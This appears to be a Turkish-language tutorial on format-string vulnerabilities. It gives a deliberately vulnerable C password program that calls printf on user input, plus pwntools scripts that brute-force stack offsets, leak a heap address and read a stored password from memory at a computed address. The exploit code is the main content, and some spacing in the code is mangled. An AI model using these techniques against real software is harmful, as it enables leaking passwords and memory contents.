from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
offset 11'dir çünkü birkaç A ayarlayıp brute-forcing ile 0'dan 50'ye kadar döngü ile yapılan denemelerde 11. offsette ve 5 ekstra karakterle (bizim durumumuzda | boruları) tam bir adresi kontrol etmenin mümkün olduğu bulunmuştur.
Adresin tamamının 0x4141414141414141 olması için %11$p kullandım ve padding ekledim.
format string yükü adresin ÖNÜNDEDİR çünkü printf bir null byte'ta okumayı durdurur, bu nedenle adresi gönderip ardından format string'i gönderirsek, printf format string'e ulaşamaz çünkü bir null byte'dan önce bulunacaktır.
Seçilen adres 0x00400000'dır çünkü binary'nin başladığı yerdir (PIE yok)
Şifreleri oku
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
Bunu ile derleyin:
clang-ofs-readfs-read.c-Wno-format-security
Yığın'dan Okuma
stack_password yığın içinde saklanacak çünkü bu bir yerel değişkendir, bu yüzden yığının içeriğini göstermek için printf'i kötüye kullanmak yeterlidir. Bu, yığından şifreleri sızdırmak için ilk 100 konumu BF'lemek için bir istismardır:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
Görüntüde, 10. pozisyondaki yığın (stack) üzerinden şifreyi sızdırabileceğimiz görülüyor:
Veri Okuma
Aynı istismarı %s yerine %p ile çalıştırarak, yığın (stack) üzerinden %25$p adresinde bir yığın adresi sızdırmak mümkün. Ayrıca, sızdırılan adresi (0xaaaab7030894) o süreçte bellek içindeki şifrenin pozisyonu ile karşılaştırarak adres farkını elde edebiliriz:
Artık, ikinci format dizesi zafiyetinden erişmek için yığında 1 adresi nasıl kontrol edeceğimizi bulma zamanı:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
Ve kullanılan geçişle try 14'te bir adresi kontrol edebileceğimizi görmek mümkün:
Exploit
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()